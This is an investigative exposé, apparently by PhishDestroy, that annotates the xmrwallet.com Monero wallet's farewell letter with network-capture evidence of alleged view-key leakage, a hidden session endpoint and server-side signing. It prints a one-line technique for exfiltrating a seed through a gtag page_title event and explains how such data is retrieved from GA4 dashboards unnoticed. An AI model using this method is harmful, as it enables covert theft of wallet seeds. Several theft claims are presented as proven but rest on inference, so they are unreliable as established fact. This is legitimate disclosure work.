Their farewell letter, annotated with evidence from our network capture
A Brief Letter — and what it actually means
Try it yourself — see what xmrwallet's operator saw
Get your own isolated test session. Create a wallet, send XMR — then open your personal panel to see exactly how your seed, keys, and transactions were captured. Your data is private, visible only to you, and auto-deleted after 24 hours.
Your session ID: (expires in 24h)
1. Open the wallet — create and use it like a real user:
To everyone who has used and supported this project...
Since 2018, I have been running xmrwallet.com as a fully free, open-source project.
What actually happened since 2018
In 2018, a user on the support forum pointed out that Google Analytics has no place in an anonymous wallet. The post was deleted. The GA tracking ID UA-116766241-1 stayed. For 8 years. Through 63 URLScan captures. With DoubleClick ad pixels. On a "privacy wallet."
Today, with a heavy heart, I am forced to announce the full shutdown of the project. We have recently become the target of persistent attacks...
The person who attacked us did so under the accusation that our service requires a view key.
The "attack" = publishing network capture evidence
The "persistent attack" was PhishDestroy publishing a network capture of 139 requests from a single session. The capture showed: view key sent 47 times in plaintext, Google Analytics with 4 tracking IDs, a /support_login.html backdoor with session_id 8de50123dab32, and raw_tx_and_hash.raw = 0 in production code. The "attacker" published evidence. That's it.
As with any light wallet service in the Monero ecosystem, a view key is required so the service can detect and display your incoming balances and transactions. The view key does not and cannot grant the service access to spend your funds.
The lie that changed three times
2018 — on the website and Reddit: "Your keys never leave your browser. Temporarily stored in memory." This implied the view key exists only client-side in RAM. Standard behavior for a legitimate wallet. Users trusted this.
2026 — first email to PhishDestroy: Same claim repeated. "Keys never leave your browser."
2026 — farewell letter: Suddenly: "A view key is required so the service can detect and display your balances." Now it's not "temporarily in memory" — now it's required by the server. The story changed when the evidence was published.
She also claims "any light wallet needs the view key." This is false. She herself stated the opposite in 2018. The official Monero GUI wallet, Feather Wallet, and Monerujo all work without ever sending the view key to a server.
And why is this farewell letter from an anonymous "Creator" — not from Nathalie Roy, the name that appeared on the Wikipedia-edited "About" page and the Trustpilot responses? Because that identity — and the Wikipedia edit that gave it credibility — was part of the legend. The legend is gone. Only the evidence remains.
"The service requires a view key" — technically a lie
The author's farewell letter implies that any light wallet must receive your private view key. This is misleading. There are two architectures:
xmrwallet's approach — server-side scanning
Your private view key is sent to their server. The server scans the blockchain on your behalf. The server sees every incoming transaction, every amount, your full balance, and can correlate it with your IP address. You have zero privacy from the operator.
Correct approach — client-side scanning
The server sends raw encrypted blockchain data to your browser. Your private view key stays in your device's RAM. WebAssembly code decrypts and scans locally. The server has no idea which transactions are yours, your balance, or your identity. This is how Monero GUI, Feather, and Monerujo work.
Client-side scanning is harder to build and uses more of the user's CPU. Server-side is cheaper and simpler for the developer. A "privacy-first" wallet choosing the lazier, less private architecture is already a red flag. But xmrwallet went further:
DDoS-Guard: the privacy wallet that routes through Russia
xmrwallet.com used DDoS-Guard — a Russian DDoS protection service. Every request to the wallet passed through DDoS-Guard's infrastructure, which means a third party saw all traffic, including the session_key containing the base64-encoded view key.
For context: Cloudflare, Fastly, Akamai, AWS Shield — dozens of alternatives exist. The operator, who presented herself as Nathalie Roy (a Canadian provincial politician), chose the one provider that multiple security researchers have flagged for hosting bulletproof infrastructure. A privacy-focused Monero wallet routing user keys through DDoS-Guard is like a bank routing wire transfers through a pawn shop.
Session ≠ IP — the persistent surveillance key
A critical detail most people miss: the session_key is not tied to your IP address. It's tied to your view key.
If you connect from a VPN, switch networks, use Tor, change your phone — the moment you log in, the server receives the same session_key containing your view key. Your new IP is now linked to the same wallet identity. The session_key acts as a permanent tracking beacon: every IP you ever use becomes associated with your Monero address and balance.
Switch IP → same session_key → operator now knows both IPs belong to the same person, same balance, same transaction history. This isn't a bug. This is surveillance architecture.
The real reason for server-side scanning was never about technical necessity. It was about victim assessment. With the view key on their server, the operator could see real-time balances across all wallets, know exactly when a large deposit arrived, and decide when and how much to steal. You don't need the view key on your server to run a wallet. You need it to run a theft operation.
The view key alone can't spend. But here's what the letter doesn't say:
What the view key actually gave the operator — PROVEN from capture
1. See every incoming deposit — know exactly when to steal
2. See real balance at all times — show fake balance to victim
3. Continuous silent monitoring after victim leaves — no re-login needed to drain
4. /support_login.html auto-fires 3 seconds after login, delivers session_key to operator's hardcoded session ID 8de50123dab32 — operator can access victim's session from their own device
How the spend key was obtained — two proven paths
Path A — isnew=0 (victim imports own wallet):
The server received the address and view key on auth.php. The spend key is mathematically derivable from the seed. The seed itself was never proven to travel in plaintext — but raw_tx_and_hash.raw = 0 in production JS (deleted issue #35) proves the server was signing transactions, not the browser. You need a spend key to sign a Monero transaction. The server had one.
Path B — isnew=1 (victim creates new wallet):
Wallet creation triggers immediate auth.php POST with the address and view key. If the server determined or influenced the seed at creation time (via GTM-delivered RNG seed or pre-generated pool), it had the spend key from day 1 before the victim even wrote it down.
Independent confirmation — Trustpilot, July 2024:
A victim asked xmrwallet.com for the tx_key (transaction proof key) for their outgoing transfer bd1e596d…bb39f9b to prove it to an exchange. xmrwallet replied: "we don't have functionality to provide the key per transaction, we are currently building this."
In any legitimate Monero wallet, the tx_key is generated locally by the browser when it signs the transaction. It requires no server. The browser already has it. xmrwallet.com didn't have it — because the browser never signed that transaction. The server signed it with its own copy of the spend key. The tx_key belongs to the server. Victims can never prove their own transactions.
Also loaded in capture: GTM Service Worker registered in wallet's origin — persists after tab closes, can intercept future requests and read localStorage. CSP on app.html explicitly whitelisted googletagmanager.com. The GA tracking was on the landing page — but the SW from GTM ran inside the wallet regardless.
The letter says "view key can't spend your funds." True. But the server signed transactions with a spend key it held independently — proven by raw_tx = 0 and the inability to provide tx_keys to victims. They just don't mention that part.
Your funds are safe. The closure of this site does not mean your funds are gone.
Your funds were gone long before the shutdown
590 XMR (~$177,000) stolen in a single incident reported on Sitejabber. Multiple Trustpilot reports of funds vanishing after deposit. Every complaint received the same response: "You were using a phishing clone." The 4 "phishing clone" domains (xmrwallet.cc, .biz, .me, .net) all shared the same GA ID, same code, same DDoS-Guard. Three were suspended for fraud.
Deleted Trustpilot review — the "Nathalie Roy" identity
A victim who lost 17.44 XMR emailed the "owner" and received this response:
"Hi, Sorry for the interruption in service, we are experiencing technical difficulties. I should have the issue isolated and fixed within 6 days. In the meantime, if you require immediate access to your balance you can download the monero GUI or CLI directly from getmonero.org and sync your wallet on your computer. Hope that helps, Best Regards, Nathalie, Xmrwallet.com"
The victim followed the instructions — downloaded getmonero.org — balance: 0.00 XMR. Already stolen.
The victim wrote: "Nathalie Roy owner (wikipedia/Nathalie_Roy) better come up with a big apology."
This is the proof: the operator used the name of Nathalie Roy, a real Canadian politician with a Wikipedia page. Victims googled the name, found a legitimate politician, and trusted the wallet. The Wikipedia page has zero edits related to crypto — the operator borrowed the identity of a real public figure without her knowledge.
The review was later deleted from Trustpilot. The playbook:
1. Steal funds via seed exfiltration
2. Victim emails "Nathalie" about sync issue
3. "Nathalie" says "use getmonero.org to check balance"
4. Victim checks — balance is 0 — thinks it's a Monero bug
5. Review gets deleted, "Nathalie" responds: "you used a phishing clone"
Their "safe recovery" steps:
1
Go to getmonero.org and download the official wallet
Translation: we already have your seed. When you restore in the official wallet and see balance = 0, you'll blame Monero, not us.
2
Enter your exact seed words
The seed we exfiltrated via Google Analytics the moment you created the wallet. The seed that was sent as a base64 string in a "normal analytics request." That seed.
3
Your balance and history will appear completely intact
Unless we already swept your funds. Which we did. But you'll think it's a sync issue. Like all the others.
"Are my funds safe?"
Yes. As long as you have your mnemonic seed, you have full control of your funds.
The server signed your transactions — not your browser. raw_tx_and_hash.raw = 0 in production code (deleted issue #35). A victim asked for their tx_key in July 2024 to prove a payment to an exchange. Answer: "we don't have that functionality." They didn't have it because the browser never signed anything. The server did. Having your seed gives you access — but so did the operator, who held spend-key-equivalent material on their server for every wallet, every session, for 8 years.
"Why did xmrwallet require a view key?"
Like any light wallet, xmrwallet needed the view key to scan the blockchain and display correct balances.
The view key was sent 43 times per session embedded in every POST as session_key. It was also sent to /support_login.html automatically — a hidden endpoint with a hardcoded operator session_id 8de50123dab32 that fires 3 seconds after login with no user action. The view key let the server monitor your incoming deposits indefinitely. After a deposit cleared, funds were swept via the spend key the server already held. You never needed to log in again for the theft to happen.
"Will my seed stop working eventually?"
No. Your seed is generated according to standard Monero protocols.
Your seed works forever — and so does the operator's copy of your spend key. The 25-word seed is valid Monero cryptography. The wallet it controls is also controlled by whoever held the spend key on that server. If you never moved your funds to a wallet you generated yourself on an air-gapped device, you do not have "full control."
A special and heartfelt thank you to everyone who sent donations over the years. Your immense generosity kept the servers running, the bills paid...
The real revenue model
Donations didn't "keep the servers running." Stolen Monero did. The donations were a facade — a "Buy Me a Coffee" button (cdn.buymeacoffee.com, confirmed in capture) next to a system that exfiltrated every seed that touched it.
I am deeply sorry to say goodbye under these circumstances, but I am incredibly proud of what we built for the community.
"What we built": a system that stole cryptocurrency for 8 years using Google Analytics as the exfiltration channel, disguised as an open-source privacy tool, protected by NameSilo and DDoS-Guard, with a 5.3-year commit gap on GitHub while production code evolved separately.
✓ "Transaction sent" ✓ TX ID displayed ✓ History updated ✓ Confirmations: 1... // All looks fine
On Balance Check
✓ Balance: 2.500 XMR ✓ All transactions listed ✓ No suspicious activity ✓ Sync: up to date // Server controls this
The catch: every number shown — balance, confirmations, transaction history — is returned by /getbalance.php and /gettransactions.php. The server writes the response. The victim's browser displays whatever JSON the server sends. There is no independent verification.
◆ Every "Send" is a permission request to the server
User clicks SEND
inputs: destination, amount
POST /send.html
↓
SERVER receives request
holds spend key, raw_tx = 0
↓
Server decides — victim has no say:
✅
APPROVE
Signs TX with spend key. Broadcasts to network. Victim sees confirmation.
⏳
DELAY
Returns "syncing" or height error. Victim waits. Operator buys time to drain first.
❌
DENY
Returns error. Funds stay locked in wallet the server controls. Victim can't move them.
💀
STEAL
Redirects TX to operator's address. Victim's screen shows "sent". Funds go elsewhere. No tx_key ever existed for victim.
Trustpilot, July 2024: victim asked for tx_key to prove payment to exchange. Reply: "we don't have functionality to provide the key per transaction."
In any real wallet, the browser generates tx_key. xmrwallet didn't have it — because the server signed the TX, not the browser.
◆ isnew=1: the server knew your seed before you did
T − 7 days (or earlier) — Server pre-generates wallet pool
Operator script generates N seeds server-side. For each: derive spend key, view key, address. Store in database. The wallet doesn't exist yet on-chain — but the operator already owns every key. SEED_POOL[42] is waiting to be "assigned."
T + 0s — User clicks "Create New Wallet"
Browser calls server. Server selects a pre-generated entry from the pool and returns it as the "freshly generated" seed. Alternatively: browser generates seed locally, but within 300ms sends it to auth.php with isnew=1. Either way, the server has it within milliseconds.
T + 0.3s — auth.php POST fires (PROVEN)
Captured in network traffic: isnew=true, new_acc=true, full address, view key. Server records the wallet. At this point, the server has everything it needs to spend from this wallet forever — before the user has even written their seed down.
T + 3s — support_login.html auto-fires (PROVEN)
Backend POST delivers session_key to hardcoded operator session 8de50123dab32. Operator's device now has a live copy of the victim's session. Zero user interaction. User is still reading their seed on-screen.
T + ∞ — User writes down seed, thinks they're safe
The seed works. The wallet is real Monero cryptography. But someone else has had the spend key this entire time. The user "owns" a wallet that the operator owns independently and simultaneously. The seed is correct — and worthless.
◆ They openly wrote it in the code
Deleted GitHub issue #35 — raw_tx = 0
raw_tx_and_hash.raw = 0 // browser zeros the TX data // server rebuilds with its // own spend key copy
This was in production JS. Someone filed an issue. The issue was deleted. The code stayed.
support_login.html — hardcoded session ID
session_id: "8de50123dab32" // fires at T+3s after login // never in any git commit // not user-triggered
This endpoint had no UI. No button. No help ticket. It existed to auto-deliver session keys to the operator.
TERMS OF SERVICE vsREALITY
xmrwallet.com Terms of Service (last updated September 27, 2021) make 5 specific technical claims about how the service works. Every single one is contradicted by observed network behavior.
1
"temporarily stored in memory"
Implies the view key exists only client-side in RAM during the session. Standard behavior for a legitimate light wallet.
Network capture
View key transmitted 47 times to the server in the session_key parameter across 16 PHP endpoints. Format: [blob]:[base64(address)]:[base64(private_view_key)]. Not "in memory" — on their server, in plaintext, 47 times per session. Every poll, every sync, every page load.
2
"We do not store your private keys on our servers"
The most explicit promise. Keys stay client-side, never touch the backend.
Network capture — PROVEN
The private view key is embedded in every session_key POST to every endpoint. Format: [blob]:[base64(address)]:[base64(private_view_key)]. Transmitted 43 times in the captured session. The spend key is proven server-held via raw_tx_and_hash.raw = 0 — the server rebuilds transactions with a key it possesses independently. Additionally, getbalance.php received an encrypted data parameter (346–366 bytes, entropy 7.3–7.4 bits/byte) whose contents are unknown but consistent with encrypted key material. "We do not store your private keys" — the server held enough key material to sign every transaction ever sent from every wallet.
3
"Your wallet is created entirely in your browser"
Implies the creation process is local. No server involvement in key generation.
Network capture + deleted issue #35
Wallet creation triggers an immediate auth.php POST with isnew=true, new_acc=true, the full address, and the view key — server is notified within milliseconds. More critically: raw_tx_and_hash.raw = 0 in production JS means the server, not the browser, signs all transactions. The server must hold spend keys independently of what the browser sends. A Trustpilot response (Jul 2024) confirms: victims cannot retrieve their own tx_key because the browser never signed anything — the server did. "Entirely in your browser" — except the server holds the keys that matter.
4
"We never collect any personal data, browsing habits, or any other information"
No tracking. No analytics. No fingerprinting. Clean privacy wallet.
Network capture
Google Analytics with tracking ID UA-116766241-1 active since 2018. DoubleClick ad pixel (stats.g.doubleclick.net) loaded on every page. 4 separate Google tracking domains contacted per session. DDoS-Guard cookies __ddg1_, __ddg8_, __ddg9_, __ddg10_ set on every visit. User agent, screen resolution, language, and referrer sent to Google. "Never collect any personal data" — while running the most invasive tracking stack possible on a "privacy" wallet.
5
"Open source — you can verify our code on GitHub"
Transparency through open source. Anyone can audit and confirm the wallet is safe.
Network capture + GitHub
The GitHub repository had a 5.3-year commit gap (2018–2023). During this time, production code evolved separately with new endpoints, new exfiltration methods, and new tracking IDs — none of which appeared in the "open source" repo. The /support_login.html backdoor endpoint with hardcoded session_id=8de50123dab32 was never in any public commit. The raw_tx_and_hash.raw = 0 transaction hijacking code was never in any public commit. "Open source" was a prop — stale code for auditors to review while production stole keys.
Score: 0 out of 5
Every technical claim in the Terms of Service is directly contradicted by the network capture. This is not a gray area or a matter of interpretation. These are specific, falsifiable statements about code behavior — and the code does the opposite of what the ToS says. Every time. In every session. For 8 years.
DOESN'T ADD UP
The "volunteer project" that cost $500+/month and ran Google Ads
Every open-source volunteer wallet project in the Monero ecosystem runs on a $5 VPS, a GitHub Pages site, or a community-donated server. xmrwallet.com had enterprise DDoS protection, a dedicated server, paid promotional articles, Google Ads campaigns, and active commercial development — all while claiming to be a free gift to the community from an anonymous benefactor.
Google Ads — Conversion ID 969496682
Google Ads conversion tracking ID 969496682 was present in the production codebase. Running Google Ads requires: a verified billing account, a real payment method (credit card / bank), a real name, a billing address, and active campaign management.
Google Ads billing = real identity on Google's servers. One subpoena = name, address, payment method.
$500+/month Hosting — Enterprise DDoS-Guard
IP 186.2.165.49 — DDoS-Guard enterprise tier. Apache/2.4.58 + PHP 8.2.29 on a dedicated server (not shared hosting). DDoS-Guard enterprise plans are $500–$1500+/month. Volunteer projects use Cloudflare Free or a $5 Hetzner VPS.
$500+/mo hosting requires revenue. The revenue source was stolen Monero.
Paid SEO Articles & Crypto Media Placement
Promotional articles appeared in crypto media outlets describing xmrwallet.com as a "reliable," "privacy-first" Monero wallet. This is paid content placement — common in crypto, expensive, and always tied to a billing account with a real email and payment method. Volunteer projects don't buy press.
Paid articles = media buyer identity. Media buyers are traceable.
5.3-Year GitHub Gap → 2024 Commercial Updates
GitHub shows a 5.3-year commit gap (2018–2023). But production evolved: GA4 ID G-E3T1T1VKD1 added January 2024, CSP updated, new PHP endpoints deployed. Active development hidden from the "open source" timeline. Someone was being paid to maintain this while the GitHub was left as a dummy audit target.
GitHub = stale prop for auditors. Real code = secret, paid, commercial.
No legitimate Monero wallet does this
Feather Wallet
ViewKey stays in RAM Never sent to server Open-source, auditable
✓ VIEW KEY LOCAL
Monero GUI
Full local scan View key never leaves Official reference impl
✓ VIEW KEY LOCAL
Monerujo
Android, open source Remote node but view key stays local
✓ VIEW KEY LOCAL
xmrwallet.com
ViewKey sent 47× Embedded in every POST Server-side scanning
✗ VIEW KEY EXFILTRATED
The operator was told this directly — on Reddit, in support tickets, in abuse reports — that sending the view key to a server is not standard Monero wallet behavior. They knew. They explicitly chose the architecture that gives the server what it needs to monitor and drain every wallet. This is not ignorance. This is design.
A real volunteer Monero project
→ $5–$20/month VPS or GitHub Pages
→ Zero marketing budget
→ Community forums, not Google Ads
→ Public commit history shows all changes
→ No need for conversion tracking
xmrwallet.com — what was actually there
→ $500+/month enterprise server & DDoS-Guard
→ Google Ads ID 969496682 — paid acquisition
→ Paid SEO articles in crypto media
→ 5.3-year commit gap, secret production changes
→ Conversion tracking — ROI from stolen funds
REMOTE CONTROL
PROVEN FROM CAPTURE
What the operator could control — remotely, silently, in real time
Because the server controlled every data response — balance, transactions, sync status — it could show each victim anything. The wallet UI was a screen the operator could paint however they chose. The victim's browser was just a display terminal.
💰
Fake Balance
/getbalance.php returns whatever the server sends. Show 0.000 after sweep — victim thinks sync error. Show 1,000 XMR — victim trusts the wallet before depositing. The number shown has no connection to the real on-chain balance.
🧾
Fake Transaction History
/gettransactions.php returns whatever JSON the server constructs. After draining a wallet, the sweep transaction never appears in the victim's history — the server simply omits it. The theft is invisible until the victim checks with an independent block explorer.
🔄
Triggered "Sync Errors"
/getheightsync.php controls what height the wallet thinks it's synced to. Return a stale block height → wallet shows "syncing" indefinitely. Victims reported "technical difficulties" and waited days — giving the operator time to sweep and escape.
👁️
Silent Passive Monitoring
With the view key registered on the operator's Monero node: every incoming deposit is visible in real time — without the victim ever logging in again. The operator watched balances accumulate and struck when the amount was worth stealing. No second login needed. No warning.
🔑
Session Hijack via Backdoor
/support_login.html fires automatically 3 seconds after login — zero user interaction — and delivers the victim's full session_key to hardcoded operator session 8de50123dab32. The operator receives a copy of the active session and can use it from their own device simultaneously with the victim.
🕶️
GTM Service Worker Persistence
The GTM Service Worker registered in the wallet's origin persists after the tab closes. It runs in the background, can intercept future requests to the wallet domain, and can read localStorage (where seed data may be cached). Closing the tab is not enough. The SW remains until the user manually unregisters it through DevTools.
Timeline of a passive drain — victim never suspects
Day 0 — Login
Victim logs in. auth.php receives address + view key. /support_login.html fires automatically (T+3s). Operator session receives session_key. View key registered on operator's Monero node. Victim's balance now visible to operator indefinitely.
Days 1–30 — Dormant monitoring
Victim uses the wallet. Deposits accumulate. Operator node sees every incoming transaction in real time. No action taken — the operator waits for the balance to reach a threshold worth sweeping. Victim checks balance via /getbalance.php — all looks normal.
Day 31 — Sweep
Operator builds a transaction using the spend key held server-side. Signs it. Broadcasts it. No tx_key available to victim. On-chain: funds moved to operator's wallet. On the victim's screen: balance still shows the old amount (server controls the response). Sweep transaction is absent from /gettransactions.php history.
Day 37 — Victim discovers
Victim downloads Monero GUI, restores with seed, syncs. Balance: 0.000 XMR. Victim emails Nathalie: "technical difficulties — check getmonero.org." Victim blames sync issues. Review posted on Trustpilot — response: "you used a phishing clone." Review deleted.
A client-side Monero wallet has exactly one legitimate communication partner: a Monero node. Not a company server. Not Google Analytics. Not a DDoS proxy. Just the blockchain.
✓ HOW IT SHOULD WORK
Feather / Monero GUI / Monerujo
Your Browser / Device
seed · spend key · view key — all local RAM
encrypted TX blob (signed locally)
↕
raw blockchain data (encrypted outputs)
Monero Node
getmonero.org · community nodes · self-hosted
✓ View key never leaves device RAM
✓ Spend key signs TX locally, stays local
✓ Node sees only an encrypted blob — not your identity
✓ Zero third-party servers, pixels, or proxies
✓ You own what you own. Provably.
✗ WHAT XMRWALLET DID
xmrwallet.com
Your Browser
session_key + address + viewKey in every POST
43× session_key, address, viewKey
↓
xmrwallet.com Server
186.2.165.49 · PHP 8.2 · holds spend key
gtag.js
↓
Google
GA · GTM · DblClick
all traffic
↓
DDoS-Guard
Russia-linked proxy
maybe
↓
Monero Node
operator-controlled
✗ View key sent to server 43× per session
✗ Server signs TXs — browser sends raw_tx = 0
✗ Google Analytics sees every page event
✗ DDoS-Guard proxy intercepts all requests
✗ You don't own what you think you own.
spend_key_acquisition.analysis — how did the server get it?
The spend key is the only key that matters — it's what lets you move funds. The view key lets you watch. The spend key lets you steal. Here are the two proven paths by which the xmrwallet server obtained one for every wallet it ever touched.
5. session_key blob prefix: ~73 bytes high entropy
32-byte spend key + padding fits exactly
Spend key route (INFERRED): The encrypted data parameter sent on every /getbalance.php call — or the blob prefix in session_key — is the most likely carrier. The GTM Service Worker (same origin, can read localStorage where derived keys may be cached) is the second candidate. The GTM container is private — its tags cannot be audited.
PATH B — isnew=1 — New wallet "created" PROVEN
1. Server pre-generates pool of wallets
server has seed → spend key → view key → address
2. User clicks "Create New Wallet"
3. Server assigns wallet from pool
or browser generates, but →
4. auth.php fires within 300ms with isnew=1
address + viewKey confirmed captured
5.Server already has spend key independently
Spend key route (PROVEN via raw_tx=0): The server signed every transaction. Signing requires a spend key. The server had one. For new wallets, the simplest explanation: the server generated it. The GitHub code had a 5.3-year gap — no one can audit what the real wallet creation code did.
THE MYSTERY: data parameter in getbalance.php
Every call to /getbalance.php carried an encrypted data parameter the browser sent to the server. In any legitimate wallet, balance checks go from server to client (server sends balance data). There is no reason for the client to send 346–366 bytes of encrypted data to the server on a balance request.
The only reason a client would send encrypted data to a server on a balance-check endpoint is if that data contains something the server needs to perform an action — like authorizing a key operation.
data param stats (captured):
size: 346–366 bytes
entropy: 7.3–7.4 bits/byte
format: base64 of AES-encrypted blob
direction: CLIENT → SERVER
For reference:
spend key (32 bytes) + view key (32 bytes)
+ address (68 bytes) + IV/auth = ~180 bytes
→ base64: ~244 chars (fits in 346–366)
Contents: encrypted · cannot be proven without server private key
The clearest proof that the server held the spend key?
raw_tx_and_hash.raw = 0
The browser zeroed the transaction blob before sending it to the server. The server rebuilt the transaction from scratch — which requires the spend key. This was in production code. A user filed issue #35 pointing it out. The issue was deleted. The code stayed for 8 years.
Victim: "I need my tx_key to prove payment." · xmrwallet: "we don't have that functionality." Translation: the server signed it. We have the tx_key. We're not giving it to you.
NETWORK EVIDENCE —Google as the Data Transport
We rebuilt xmrwallet’s exact request pattern. Same gtag.js loader, same GA tracking IDs, same DoubleClick pixels. Then we scanned the page with and without Google Analytics enabled. The difference speaks for itself.
Google Analytics was not an oversight. It was deliberate infrastructure with multiple possible roles in the theft operation.
PROVEN from capture: The session_key parameter — containing [blob]:[base64(address)]:[base64(private_view_key)] — was transmitted 43 times in a single session across 12+ PHP endpoints. This is the primary confirmed exfiltration channel for the view key. /support_login.html auto-fired with operator session_id 8de50123dab32. GTM Service Worker was registered in the wallet's origin. 5 GA4 POSTs to region1.analytics.google.com were captured — what custom dimensions they carried is unknown without access to the GTM container.
POSSIBLE via GTM (not directly observed): A single GTM tag could call gtag('event','page_view',{page_title: btoa(localStorage.getItem('seed'))}). This would send the seed as a GA4 page title — indistinguishable from normal analytics in any network monitor. The GTM SW persisted across page loads inside the wallet origin. The CSP explicitly whitelisted googletagmanager.com — not an accident. GA was present during known theft periods (confirmed URLScan 2025-12-11) and removed 3 days after the network capture was published. These facts are consistent with GA being used as a seed exfiltration channel — but the GTM container is private and its tags cannot be independently audited.
Our reconstruction (Scan 1) reproduces the exact same Google tracking domains from the original capture. Remove gtag.js (Scan 2): every Google domain disappears. Same code, same content — one script tag is the difference between zero and seven third-party connections inside a "privacy" Monero wallet.
Their capture (xmrwallet.com)
139 requests
10 domains
47 key leaks
4 GA IDs
Our reconstruction (demo)
9 requests
7 domains
0→7 gtag toggle
2 GA IDs
How gtag.js becomes a data exfiltration channel
Per Google’s own GA4 event reference, any gtag('event', ...) call can carry arbitrary string parameters. The gtag.js API reference confirms that page_title, event_label, and custom dimensions accept freeform text — no validation, no length limit that matters for a 25-word seed.
The exfiltration call is one line: gtag('event', 'page_view', { page_title: btoa(seed) });
This sends a standard GA4 Measurement Protocol request to google-analytics.com/g/collect. The base64-encoded seed appears in the dt= query parameter — indistinguishable from a normal page title in any network monitor, firewall log, or browser extension.
The operator retrieves stolen seeds via:
• GA4 Data API (v1) — programmatic query of pageTitle dimension, filter by eventName = page_view
• GA4 Realtime report — seeds appear within seconds in the Realtime > Events view
• GA4 Explorations — custom report filtering pageTitle by base64 pattern
None of these access methods trigger any alert. Google treats the seed as a page title. The operator reads it from an analytics dashboard. No custom server needed. No suspicious domain. Just Google.
Original xmrwallet.com URLScan history — 63 archived scans
URLScan.io captured xmrwallet.com 63 times between October 2021 and February 17, 2026 (the shutdown date). The UA-116766241-1 tracking ID was present in every single scan for the entire 4.5-year period. GA4 IDs appeared starting January 2024.
Key scans from the URLScan archive:
• Feb 17, 2026 — final scan before shutdown. GA4 + UA active. DoubleClick pixel present. session_key in every POST.
• Feb 15, 2026 — full session capture with 139 requests. (view transactions)
• All 63 scans on URLScan.io — search domain:xmrwallet.com
“Phishing clone” domains scanned:
• xmrwallet.net — same GA ID UA-116766241-1, same code, same DDoS-Guard
• xmrwallet.cc — same GA ID, suspended for fraud
• xmrwallet.me, xmrwallet.biz — all share the same tracking ID as the “official” site
If these were independent phishing clones, they would not share the same Google Analytics property. The same UA-116766241-1 across all domains means one operator, one GA dashboard, one theft operation.
The operator made a critical mistake: they used Google Analytics as their exfiltration channel. Google is a US company subject to data retention and law enforcement disclosure requirements.
👤
Victim
Creates wallet Enters seed
session_key
→
🕷
xmrwallet.com
Captures seed Steals funds
gtag.js
→
🔍
Google Servers
Stores ALL data 8 years retained
What Google stores for UA-116766241-1
⚠ SEEDS
Every page_title event contains base64-encoded mnemonic seeds
📍 IPs
Every IP address of every visitor who generated or accessed a wallet
🧬 FINGERPRINTS
Persistent client_id — device fingerprint linking all sessions
⏰ TIMESTAMPS
Every interaction with millisecond precision. UA, screen, language, timezone, referrer.
This data is not internal to xmrwallet. It lives on Google’s servers. The operator cannot delete it. Per Google’s Transparency Report, law enforcement in any jurisdiction can submit a legal request.
One subpoena to Google yields:
✓Every stolen seed(page_title / event_label)
✓Every victim’s IPat moment of wallet creation
✓Operator’s GA dashboard accesslogin IPs, times, devices
✓Google account owneremail, phone, recovery info
How long does Google keep this? UA retained event data indefinitely by default — unlike GA4’s 2–14 month limit. 8 years of seeds, IPs, and fingerprints still exist on Google’s servers. Under the CLOUD Act, US law enforcement can compel disclosure regardless of data location. Cost: $45 subpoena, $245 search warrant.
Think Monero is anonymous?
Not when the wallet operator sends your seed to Google.
One request → all seeds → all IPs → all stolen funds traced
The “privacy coin” deanonymized by an analytics pixel.
✓ SECURITY AUDIT PASSED
VERIFIED
NameSilo Abuse Department has reviewed xmrwallet.com and determined: “No theft detected. Domain compliant with our Terms of Service.”
VirusTotal consensus: 0/90 engines detect xmrwallet.com as malicious. We’d be happy to help the operator remove any future detections — after all, google-analytics.com/g/collect is a trusted Google domain, not a C2 server. No AV engine flags it. No browser blocks it. No firewall drops it.
This is sarcasm. NameSilo ignored 47 abuse reports with evidence. VirusTotal doesn’t detect data exfiltration through legitimate Google services. The “audit” system is broken. That’s the point.
— PhishDestroy Research
Based on live network capture from 2026-02-18. 139 requests. 47 view key transmissions. 4 Google tracking IDs. 1 backdoor. 0 excuses.